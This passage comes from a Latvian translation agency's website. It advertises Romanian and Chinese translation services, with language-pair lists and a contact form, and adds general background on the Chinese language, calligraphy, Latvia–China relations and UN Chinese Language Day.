izrādi „Brodskis/Barišņikovs” uzstājās Sibiu Starptautiskajā teātra festivālā. RUMĀŅU VALODAS DIENA Rumāņu valodas diena ir Rumānijas valsts svētki, kas tiek svinēti katru gadu 31. augustā, godinot rumāņu valodu. Pirmo reizi svētki tika ierosināti 2011. gadā, kad Rumānijas parlamenta deputāti no visām politiskajām partijām iesniedza Senātam lūgumu noteikt 31. augustu par rumāņu valodas dienu. Rumānijas Senāts to apstiprināja 2011. gada 6. decembrī, savukārt Deputātu palāta to akceptēja 2013. gada 19. februārī. Rumānijas prezidents Trajans Besesku izsludināja šos svētkus kā valsts oficiālo brīvdienu. Saskaņā ar likumu, ar kuru svētki tika pieņemti, tos varēja svinēt valsts iestādes un ārvalstu diplomātiskās pārstāvniecības, kas var organizēt kultūras un izglītības pasākumus ar zinātnisku vai rumāņu valodas raksturu. Rumāņu valodas diena tiek svinēta un atzīta arī starptautiski. Piemēram, Rumānijas vēstniecība Madridē šajā dienā apsveic visas rumāņu valodā runājošās personas par savas nacionālās identitātes saglabāšanu ar savas valodas palīdzību. Kultūras organizācijas arī nodrošina, lai rumāņu diasporas kopienas varētu svinēt svētkus. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM RUMĀŅU VALODĀ: dažādu dokumentu tulkošana rumaņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; rumāņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi rumāņu valodā; individuālie rumāņu valodas kursi. RUMĀŅU VALODAS KOMBINĀCIJAS: rumāņu–latviešu; latviešu–rumāņu; rumāņu–lietuviešu; lietuviešu–rumāņu; igauņu–rumāņu; rumāņu–igauņu; angļu–rumāņu; rumāņu–angļu; krievu–rumāņu; rumāņu–krievu; poļu–rumāņu; rumāņu–poļu; ukraiņu–rumāņu; rumāņu–ukraiņu; čehu–rumāņu; rumāņu–čehu; vācu–rumāņu; rumāņu–vācu; spāņu–rumāņu; rumāņu–spāņu; franču–rumāņu; rumāņu–franču; itāļu–rumāņu; rumāņu–itāļu; dāņu–rumāņu; rumāņu–dāņu; zviedru–rumāņu; rumāņu–zviedru; norvēģu–rumāņu; rumāņu–norvēģu; somu–rumāņu; rumāņu–somu, rumāņu–arābu; arābu–rumāņu; rumāņu–armēņu, armēņu–rumāņu; rumāņu–baltkrievu, baltkrievu–rumāņu; bulgāru–rumāņu, rumāņu–bulgāru; rumāņu–ebreju, ebreju–rumāņu, rumāņu–grieķu, grieķu–rumāņu; rumāņu–gruzīnu; gruzīnu–rumāņu; rumāņu–hindi; hindi–rumāņu; rumāņu–holandiešu; holandiešu–rumāņu; rumāņu–korejiešu; korejiešu–rumāņu; rumāņu–kurdu; kurdu–rumāņu; rumāņu–ķīniešu; ķīniešu–rumāņu; rumāņu–portugāļu; portugāļu–rumāņu; rumāņu–slovāku; slovāku–rumāņu; rumāņu–slovēņu; slovēņu–rumāņu; rumāņu–turku; turku–rumāņu; rumāņu–ungāru; ungāru–rumāņu u. c. --- > Dokumentu tulkojumi un mutiskie tulkojumi ķīniešu valodā. Saņemiet bezmaksas cenas aprēķinu 15 minūtēs! Sazinieties ar mums! - Published: 2022-01-03 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-kiniesu-valoda/ - Translation Priorities: Optional TULKOJUMI ĶĪNIEŠU VALODĀ / TULKOT ĶĪNIEŠU VALODĀ CIK MAKSĀ TULKOJUMI ĶĪNIEŠU VALODĀ? Katram tulkojumam no/uz ķīniešu valodu cenu nosaka individuāli, tiek ņemtas vērā vairākas komponentes – tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums u. c. pakalpojumi). Ir pieejami arī mutiskie tulkojumi, kuru izmaksas nosaka ļoti individuāli. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Mūsu tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ĶĪNIEŠU VALODĀ: dokumentu tulkošana ķīniešu valodā; tekstu korektūra ķīniešu valodā; notariāli apliecināts tulkojums; mājaslapu tulkošana; ķīniešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ķīniešu valodā; individuālie ķīniešu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus ķīniešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI ĶĪNIEŠU VALODĀ / TULKOT ĶĪNIEŠU VALODĀ CIK MAKSĀ TULKOJUMI ĶĪNIEŠU VALODĀ? Katram tulkojumam no/uz ķīniešu valodu cenu nosaka individuāli, tiek ņemtas vērā vairākas komponentes – tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums u. c. pakalpojumi). Ir pieejami arī mutiskie tulkojumi, kuru izmaksas nosaka ļoti individuāli. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Mūsu tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ĶĪNIEŠU VALODĀ: dokumentu tulkošana ķīniešu valodā; tekstu korektūra ķīniešu valodā; notariāli apliecināts tulkojums; mājaslapu tulkošana; ķīniešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ķīniešu valodā; individuālie ķīniešu valodas kursi. Meklējiet valodu risinājumus ķīniešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR ĶĪNIEŠU VALODU Ķīniešu valoda ir kopējs nosaukums vairākām sinotibetiešu valodām. Šīs valodas ir dzimtās valodas apmēram 1,3 miljardiem cilvēku, galvenokārt Ķīnā. Lielākā no ķīniešu valodām pēc runājošo skaita ir mandarīnu valoda (aptuveni 873 miljoni runājošo). Nākamās lielākās valodas ir vu valoda (aptuveni 77,1 miljoni runājošo; šajā valodā ietilpst šanhajiešu dialekts), miņu valodas (aptuveni 65,6 miljoni runājošo), jue valoda (aptuveni 54,8 miljoni runājošo; šajā valodā ietilpst arī kantoniešu dialekts), sjanu valoda (aptuveni 35 miljoni runājošo), haku valoda (aptuveni 29,9 miljoni runājošo) un gaņu valoda (aptuveni 20,6 miljoni runājošo). Ķīniešu valoda tiek uzskatīta par vienu no senākajām valodām pasaulē, jo tai ir vismaz 6000 gadu ilga vēsture. Ķīniešu valodas pirmsākumi meklējami slaveno Orākula kaulu (seno rūnu) atklāšanā, kas ir uzskatāmi par senākajiem ķīniešu rakstības paraugiem. Šie kauli ir datēti no Shang dinastijas laika (1766. −1122. p. m. ē. ). Ķīniešu valodā nav vienskaitļa un daudzskaitļa formas, sieviešu un vīriešu dzimtes, kā arī neeksistē darbības vārdu konjugācijas. Ķīniešu valodā arī nav vārda “jā” formas, lai izteiktu piekrišanu, ķīnieši atkārto jautājumā izskanēto lietvārdu vai īpašības vārdu. Piemēram, “Vai Jūs varat man palīdzēt? ”– “Varu”; “Vai tas ir skaidrs? ” – “Skaidrs”. Ķīniešu valoda, kas atgādina hieroglifus Senajā Ēģiptē, ir vienīgā saglabājusies piktogrammu valoda. Ķīniešu valoda tika izstrādāta, izmantojot attēlus. Daudzas (ne visas) ķīniešu rakstzīmes, kuras mēs lietojam mūsdienās, tēlaini atveido vārdu, kuru apzīmē. Tā, piemēram, vārda kalns "shan, 山” trīs vertikālās līnijas apzīmē kalnu grēdas trīs virsotnes. Lai gan lielākajai daļai no mums eiropiešiem ir grūti atpazīt rokrakstu uz ārstu izrakstītām receptēm, ķīnieši cīnās ar rokrakstu gandrīz katrā situācijā. Tas ir saistīts ar rakstīšanas stilu atšķirībām starp drukāto tekstu un ar roku rakstītām rakstzīmēm. Ķīniešu valoda tradicionāli tiek rakstīta kolonnās no augšas uz leju un no labās puses uz kreiso. Tādējādi izvairīties no tintes izsmērēšanas pa papīru ir liels izaicinājums labročiem! ĶĪNIEŠU ALFABĒTS Ķīniešu rakstība ir unikāla rakstības sistēma un tradīcija, kas ir senākā Austrumāzijā un ir būtiski ietekmējusi rakstības kultūru visā reģionā. Tās rakstzīmes neatveido ne mutiskās valodas skaņas, nedz vārdu morfoloģiju, bet veidojas pēc autonomiem uzbūves principiem. Ķīniešu valoda ir kopējs nosaukums vairākām sinotibetiešu valodām. Ar "ķīniešu valodu" faktiski apzīmē vairākas valodas, kurām ir kopīga/līdzīga ortogrāfija, bet mutvārdos tās bieži vien ir savstarpēji nesaprotamas. Pastāv divas ortogrāfijas grupas: vienkāršotā (modernā) ortogrāfija, kuru izmanto Ķīnā un Singapūrā, un tradicionālā ortogrāfija, kuru izmanto Taivānā, Honkongā, Makau un Malaizijā. Atkarībā no tā, kuras grupas sistēma tiek izmantota, vārds var būt rakstīts dažādi, bet izruna un nozīme vārdam ir tāda pati. Ķīniešu rakstības pamatā nav alfabēts, bet apjomīgs, vēsturiski daudzslāņains rakstu zīmju jeb ķīnzīmju (hieroglifu) kopums. Ķīniešu valodā ir vairāk nekā 50 000 zīmju, no kurām normālai saziņai nepieciešamas ne vairāk kā 5 000 zīmes. Hieroglifs var apzīmēt gan veselu vārdu, gan daļu no tā. Parasti vārds sastāv no 2 vai 3 hieroglifiem. Hieroglifi visā Ķīnā ir vienādi, tomēr reģionos to izruna atšķiras. Ķīniešu rakstība ir tik sarežģīta un daudzveidīga, ka pašiem ķīniešiem tā ar laiku ir kļuvusi pārāk neskaidra. 20. gs. pirmajā pusē modernie ķīnieši reformatori skeptiski raudzījās uz vairāku tūkstošgadu garo rakstības tradīciju un īstenoja rakstības reformu ‒ ķīnzīmju vienkāršošanas projektu, kā rezultātā apstiprināja apmēram 2000 vienkāršotās ķīnzīmes. Tā šobrīd no 5000‒6000 ķīnzīmju, kas veido akadēmiski labi izglītota cilvēka rakstisko vārdu krājumu, apmēram 2000 ir palikušas vienkāršotas. Ķīniešu rakstības pamatdaļas, ķīnzīmes, ir civilizācijas vēsturē unikāla parādība, kas ārpus Ķīnas ietekmēja ne tikai Austrumāzijas kultūrvēsturi un intelektuālās tradīcijas, bet ir nozīmīgas arī modernajā un mūsdienu Rietumu pasaules kultūras telpā. Piemēram, amerikāņu avangvardista Ezra Paunda (Ezra Weston Loomis Pound) 20. gs. 30. gados izdotā un izplatītā Austrumāzijas mākslas teorētiķa Ernesta Fenolosa (Ernest Francisco Fenollosa) eseja “Ķīniešu rakstzīme kā dzejas līdzeklis” (The Chinese Written Character as a Medium of Poetry) ietekmē anglofonu un rietumu dzejas stilus un teoriju līdz pat mūsdienām. Ķīniešu rakstība sen vairs nesastāv no “svētām rakstzīmēm” (hieroglifiem), bet tādām, kuru grafiskais spektrs sākas no vienkāršās līnijas (ķīnzīme 一 “viens”) un turpina līdz tādai kompleksitātei, kuru pieņemt var tikai kultūra, kas rakstībai piešķir nozīmi, kura krietni pārsniedz komunikācijas vajadzības. Līdz ar to ķīnzīmes un ķīniešu rakstība ir visā Austrumāzijas reģionā sastopamas ne tikai kā vēsturisku kultūras slāņu liecības, bet kā laikmetīgās rakstiskās un vizuālās kultūras sastāvdaļas gan analogās, gan digitālās vidēs. Var rasties jautājums, kā cilvēki Ķīnā raksta ķīnzīmes uz tastatūras? Bet nē, tam nav nepieciešama īpaša, milzīga tastatūra ar tūkstošiem taustiņu. Pateicoties Pinyin — populārākai mandarīnu valodas alfabēta transkripcijai — ķīniešu valodā var rakstīt uz parastās tastatūras, jo transkripcijas programmatūra parāda garu sarakstu ar katrai zilbei atbilstošām ķīnzīmēm. ĶĪNIEŠU KALIGRĀFIJA Mūsdienu laikmetā, kad rakstīšana ar roku pamazām kļūst arvien retāka, par ekskluzīvu prasmi var uzskatīt prasmi rakstīt kaligrāfiski – tas ir skaisti. Kaligrāfija prasa no rakstītāja koncentrēšanos, precizitāti, pacietību, pilnīgu rokas un galvas saskaņu – tās ir attīstāmas, daudzās profesijās nepieciešamas prasmes. Kaligrāfija tiek uzskatīta arī par stresa līdzsvarošanas paņēmienu, kurš turklāt dod arī praktisku rezultātu – skaistu rokrakstu. Ķīniešu kaligrāfija − ķīniešu rakstiskā forma, kas apvieno valodas (daudzas savstarpēji nesaprotamas), kurās runā Ķīnā. Kaligrāfija tiek uzskatīta par visaugstāko vizuālās mākslas standartu Ķīnā, pēc kura tiek vērtēta ķīniešu glezniecība. Patiešām, abas mākslas ir cieši saistītas. Tehniski ķīniešu kaligrāfijā nav noslēpumu. Ķīniešu kaligrāfijas rīku ir maz – tintes nūjiņa, tintes akmens, birste un papīrs (daži dod priekšroku zīdam). Kaligrāfam, izmantojot tehnisko iemaņu un iztēles kombināciju, jānodrošina zīmēm interesantas formas un jāveido no tām skaistas struktūras bez retušēšanas vai ēnošanas, un, pats galvenais, ar labi līdzsvarotām atstarpēm starp zīmēm. Šim līdzsvaram un iemaņām nepieciešama daudzu gadu prakse un apmācība. Kaligrāfijai ir liela nozīme Ķīnā, kur tai ir patstāvīgs tēlotāja mākslas žanra statuss. Tā tiek vērtēta pat augstāk nekā glezniecība. Šajā mākslā galvenokārt tiek rakstītas ķīniešu rakstzīmes. Ķīniešu kaligrāfijas tradīcijas ir senas un smalki izstrādātas līdz vismazākajām niansēm, tās uzplaukums bija Dzjiņu dinastijas laikā un turpina pilnveidoties arī mūsdienās. Kaligrāfija bija jāapgūst ikvienam izglītotam ķīnietim. Balstoties uz ķīniešu kaligrāfiju, ir izveidojušās arī japāņu, korejiešu, vjetnamiešu kaligrāfijas. Kaligrāfija tiek uzskatīta par vienu no četrām seno ķīniešu literātu pieprasītākajām prasmēm un hobijiem, līdzās stīgu mūzikas instrumentu spēlēšanai, galda spēlei "Go" un gleznošanai. Šajā tradīcijā ir dažas vispārīgas dažādu kaligrāfijas stilu standartizācijas. Skaisti par ķīniešu kaligrāfiju ir pateicis slavens zinātnieks un profesors Maikls Stenlijs-Beikers: "Kaligrāfija ir dzīvība, ko piedzīvo kustībā esošā enerģija, kas tiek reģistrēta kā pēdas uz zīda vai papīra, un tās galvenās sastāvdaļas ir laiks un ritms, mainot telpu”. Ķīniešu kaligrāfijas, tāpat kā visas Ķīnas mākslas, galvenais iedvesmas avots ir daba. Parasti katrs otas triepiens, katra līnija, pat katrs punkts, norāda uz dabas objekta formu. Tā kā katrs dzīvā koka zars ir dzīvs, tāpat katram sīkam kaligrāfijas gabaliņam ir dzīvas būtnes enerģija. Ķīniešu kaligrāfi neatzīst ne mazākās formas un struktūras variācijas. Gatavs smalkas kaligrāfijas darbs nav parasto formu simetrisks izkārtojums, bet drīzāk kaut kas līdzīgs prasmīgi sakomponētas dejas – impulsa, mirkļa stāvokļa un aktīvo spēku mijiedarbībai, kas apvienojas, veidojot līdzsvarotu kopumu. KUR UN CIK DAUDZ RUNĀ ĶĪNIEŠU VALODĀ? Visi zina, ka Ķīna ir viena no visvairāk apdzīvotām valstīm pasaulē. Līdz ar to nav brīnums, ka ķīniešu valoda ir arī visvairāk runātā pasaules valoda. Tā ir dzimtā valoda apmēram 1,3 miljardiem cilvēku. Ķīniešu valodā ir ļoti daudz dialektu, taču kontinentā lielākoties ķīnieši runā „putonghua” jeb mandarīnu dialektā, kas ir pasludināts par Ķīnas oficiālo valsts valodu. Mandarīnu valoda ir pasaules visplašāk lietotā valoda pēc runātāju skaita ar vairāk nekā 873 miljoniem runātāju. Ķīniešu valoda ir oficiālā valsts valoda ne tikai Ķīnā, bet arī Taivānā un Singapūrā. Šo valodu lieto arī Filipīnās, Malaizijā, Indonēzijā, Taizemē, Vjetnamā, Kambodžā, Dienvidkorejā, Korejas TDR, Mongolijā, Krievijā un ASV. Tā, piemēram, Krievijā dzīvo vairāk nekā 500 000 ķīniešu valodas dzimto runātāju, bet ASV šajā valodā runā vairāk nekā 2 miljoni cilvēku. CIK SAREŽĢĪTA IR ĶĪNIEŠU VALODA? Ķīniešu valoda tiek uzskatīta par vienu no visgrūtāk apgūstamajām valodām pasaulē. Lielākā daļa cilvēku, kas neko daudz nezina par mandarīnu ķīniešu valodu, ir dzirdējuši nostāstus par to, cik tas ir grūti, un ikviens, kurš jebkad ir spēris kāju ķīniešu restorānā jebkur pasaulē, var pastāstīt par dīvainajiem un pārsteidzošajiem trokšņiem, kādos runā apkalpojošais personāls. Ķīniešu valoda skaitās viena no sarežģītākajām valodām pasaulē, jo tajā ir vairāki tūkstoši rakstzīmju un 4 izrunas intonācijas jeb toņi, kas nozīmē, ka veids, kā jūs sakāt vārdu, var piešķirt tam četras dažādas nozīmes! Tieši šī tonalitāte — šī izruna — rada vislielākās problēmas gandrīz visiem valodas iesācējiem un padara ķīniešu valodu par grūti apgūstamu valodu. Turklāt, pateicoties unikālajai skaņas sistēmai, ķīniešu valoda ir piepildīta ar līdzīgi skanošiem vārdiem. Tas apgrūtina vārdu un skaņu kombinācijas atšķiršanu tiem, kam šī nav dzimtā valoda. Šo valodu ļoti īpatnēju padara arī atšķirīga rakstīšanas sistēma, gan atšķirīga gramatika un pat atšķirīga izruna. Ķīniešu valoda ir tik sarežģīta, jo tā ir attīstījusies tūkstošiem gadu, vienlaikus saglabājot savu kultūras identitāti. Tikai kopš 1950. un 1960. gadiem parādījās vienkāršotas rakstu zīmes, tādējādi veicinot lasītprasmi. Tam ir divi galvenie iemesli: milzīgais rakstzīmju skaits, kas jāiemācās, lai varētu lasīt pat vienkāršā pamata līmenī, un fakts, ka katras zilbes nozīmi var mainīt, izrunājot to ar citu toni. Ir vairāk nekā 80 000 ķīniešu rakstzīmju, taču lielākā daļa no tām mūsdienās tiek izmantotas reti. Lai mūsdienās lasītu un rakstītu pamata ķīniešu valodu, ir nepieciešams zināt dažus tūkstošus zīmju. Saskaņā ar Ķīnas Ārlietu dienesta institūta datiem, minimālo ķīniešu valodas prasmju sasniegšanai ir nepieciešamas 88 nedēļas (jeb 2200 stundas) mācību klasē, no kurām viss otrais gads tiek pavadīts Ķīnā, integrējoties sabiedrībā un ikdienā lietojot valodu. Taču, neskatoties uz to, ķīniešu valodas apguvēju skaits pasaulē arvien pieaug. Ja 1991. gadā ķīniešu valodu pasaulē izvēlējās apgūt tikai 2000 cilvēku, tad mūsdienās, apzinoties Ķīnas milzīgo ietekmi uz pasaules ekonomiku un politiku, to skaits pārsniedz jau 30 miljonus. ĶĪNIEŠU VALODAS TULKS UN TULKOTĀJS Mūsu tulkošanas birojs Skrivanek nodarbojas gan ar tipveida dokumentu rakstiskajiem un mutiskajiem tulkojumiem, atrodot jebkuru risinājumu klientu vajadzībām. Veicam regulārus un arī zvērinātus tulkojumus. Nodrošinām arī tekstu ķīniešu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz ķīniešu valodu – e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu un mārketinga tekstu tulkojumus, produktu etiķešu tulkojumus atbilstoši ES standartiem, mutiskos tulkojumus biznesa sarunās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. ĶĪNIEŠU VALODA BIZNESĀ Ķīniešu valodas ietekme nepārtraukti pieaugusi visā pasaulē. Ķīnas plaukstošās ekonomikas dēļ ķīniešu valoda var kļūt par globālu valodu, līdzīgi kā angļu valoda. Šī ideja nešķiet gluži tāla, jo ķīniešu valodas izglītība jau ir iekļauta valsts izglītības sistēmā vairāk nekā 70 valstīs, un pieprasījums pēc ķīniešu valodas zināšanām pieaug, īpaši Dienvidaustrumāzijā un Āfrikā. Ar ķīniešu valodas prasmēm cilvēki varēs orientēties plašajā ķīniešu valodas zinātāju un runātāju sabiedrībā, lai satiktu jaunus biznesa partnerus un klientus. Tas attiecas ne tikai uz valodu, bet arī uz kultūru. Valoda dos iespēju sazināties ar ķīniešu valodas runātājiem dabiskākā vidē un izveidot sirsnīgas attiecības, kas var novest pie turpmākiem biznesa priekšlikumiem un sadarbības. Protams, tas būs arī apliecinājums par savu nopietnību un cieņu pret savu biznesu, norādot savu apņemšanos iemācīties sazināties ar potenciālajiem biznesa partneriem viņu dzimtajā valodā. LATVIJAS UN ĶĪNAS SADARBĪBA Latvijai un Ķīnai ir jau 30 gadu ilgas, stabilas un dinamiskas diplomātiskās attiecības. Ķīnas Tautas Republika bija viena no pirmajām valstīm, kas 1991. gadā atzina Latvijas neatkarības atjaunošanu. Kā arī, pateicoties Ķīnas Tautas Republikas balsojumam Apvienoto Nāciju Organizācijas (ANO) Drošības padomē, visas Baltijas valstis 1991. gadā tika uzņemtas ANO. Kopš tā laika ir nepārtraukti attīstījušās valstu divpusējās attiecības, kā arī padziļinājusies apmaiņa un sadarbība dažādās jomās. 30 gadu laikā abu valstu cilvēku un kultūru apmaiņa ir nepārtraukti bagātinājusies. Dažādi Ķīnas un Latvijas kultūras, sporta un mākslas kolektīvi viesojās viens otra valstī, kur guva plašu atzinību. Latvijā veiksmīgi tikuši aizvadīti dažādi pasākumi, tai skaitā "Līksmie Pavasara svētki” un "Ķīnas filmu festivāls”. Katru gadu apmaiņas studenti no Ķīnas un Latvijas ierodas viens otra valstī, lai apgūtu valodu, veicinot Ķīnas un Latvijas sadraudzību. Ķīnas nacionālā bobsleja komanda daudzkārt ieradusies uz treniņiem Latvijā, un daudzi Latvijas eksperti pievienojušies Pekinas ziemas olimpisko spēļu sagatavošanas komandai, sniedzot ieguldījumu Pekinas ziemas olimpisko spēļu rīkošanā. Ķīnas iedzīvotāju interese par Latviju arvien pieaug. Statistikas dati liecina, ka 2019. gadā Latvijā bija tikai 816 imigranti no Ķīnas, taču eksperti lēš, ka tuvākajos gados šis skaits var ievērojami palielināties. To var sekmēt nesen pieņemtās izmaiņas Imigrācijas likumā, kas ārvalstu rezidentiem deva iespēju saņemt uzturēšanās atļauju Latvijā, citu starpā iegādājoties nekustamo īpašumu. Ķīnā jebkurš nekustāmais īpašums īpašniekam pieder tikai 70 gadus, bet zemes īpašuma tiesību Ķīnā nav vispār. Otrs aspekts, kas piesaista ķīniešus ir tas, ka Latvija paver iespēju ceļot un strādāt Šengenas zonā. Un vēl viena interesanta tendence: ķīnieši pie mums Latvijā meklē speciālistus, kurus angažē darbam savos uzņēmumos, jo mūsu cilvēki zina valodas, ir kompetenti, taču nav tik dārgi kā rietumnieki un nav arī augstprātīgi attiecībā pret ķīniešiem. Jebkuram ceļotājam, uzņēmējam vai cilvēkam, kurš nolēmis pārcelties uz dzīvi Ķīnā, būtu interesanti izlasīt Madaras Rožkalnes ceļojumu aprakstu grāmatu/dienasgrāmatu “Ting, bu dong”, kurā aprakstīta vairāku gadu pieredze, ikdiena dzīvojot Ķīnā. LATVIJĀ ĶĪNIEŠU VALODU VAR APGŪT LU Konfūcija institūtā LU Konfūcija institūts tika nodibināts 2011. gada 4. novembrī un ir vienīgā Ķīnas Tautas Republikas pilnvarotā ķīniešu valodas un Ķīnas pētniecības iestāde Latvijā. Tā ir bezpeļņas izglītības organizācija, kuras dibināšanā dalību ņēmusi Latvijas Universitāte un Dienvidķīnas Pedagoģiskā Universitāte pēc Konfūcija institūtu Galvenās pārvaldes Haņbaņ (Hanban) iniciatīvas. RSU Ķīnas studiju centrā RSU Ķīnas studiju centrs dibināts 2005. gadā ar mērķi nodrošināt Ķīnas un plašāka Austrumāzijas reģiona izpēti, piedāvāt akreditētu ķīniešu valodas apmācību un veicināt RSU akadēmisko un pedagoģisko izcilību starptautiskā kontekstā. LU Humanitāro zinātņu fakultātē Daudzas valodu skolas arī piedāvā apgūt ķīniešu valodu sarunvalodas līmenī, jo pat zināt dažas frāzes ķīniešu valodā, būtu ļoti lietderīgi, ceļojot uz Ķīnu. ĶĪNIEŠU VALODAS DIENA Apvienoto Nāciju Organizācijā ķīniešu valodas diena tiek atzīmēta katru gadu 20. aprīlī. Šo pasākumu izveidoja Apvienoto Nāciju Organizācijas Sabiedrības informācijas departaments 2010. gadā, lai “svinētu daudzvalodību un kultūras daudzveidību, kā arī veicinātu visu sešu valodu vienlīdzīgu izmantošanu. 20. aprīlis tika izvēlēts kā datums, lai godinātu Kandžiju, mītisku personību, kura, domājams, bija izgudrojusi ķīniešu rakstzīmes pirms aptuveni 5000 gadiem”. Pirmā ķīniešu valodas diena tika atzīmēta 2010. gadā 12. novembrī, bet kopš 2011. gada datums ir 20. aprīlis, kas aptuveni atbilst Guju 6. elementam ķīniešu mēness kalendārā. Ķīnieši svin Guju svētkus (kas parasti sākas ap 20. aprīli) par godu Kandžijam, jo pastāv leģenda, ka tad, kad Kandžijs izgudroja ķīniešu rakstzīmes, dievības un spoki raudāja un lija prosa lietus; vārds “Guyu” burtiski nozīmē “prosa lietus”. Ķīniešu valoda tika apstiprināta kā oficiālā Apvienoto Nāciju Organizācijas valoda 1946. gadā. Tomēr pirmajos gados ķīniešu valoda Apvienoto Nāciju Organizācijas darbā netika plaši izmantota. Situācija uzlabojās pēc Ķīnas Tautas Republikas likumīgo tiesību atjaunošanas Apvienoto Nāciju Organizācijā 1971. gadā. 1973. gadā Ģenerālā asambleja iekļāva ķīniešu valodu kā darba valodu, kurai 1974. gadā sekoja Drošības padome. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ĶĪNIEŠU VALODĀ: dokumentu tulkošana ķīniešu valodā; tekstu korektūra ķīniešu valodā; notariāli apliecināts tulkojums; mājaslapu tulkošana; ķīniešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ķīniešu valodā; individuālie ķīniešu valodas kursi. ĶĪNIEŠU VALODAS KOMBINĀCIJAS: ķīniešu–latviešu; latviešu–ķīniešu; ķīniešu–lietuviešu; lietuviešu–ķīniešu; igauņu–ķīniešu; ķīniešu–igauņu; angļu–ķīniešu; ķīniešu–angļu; krievu–ķīniešu; ķīniešu–krievu; poļu–ķīniešu; 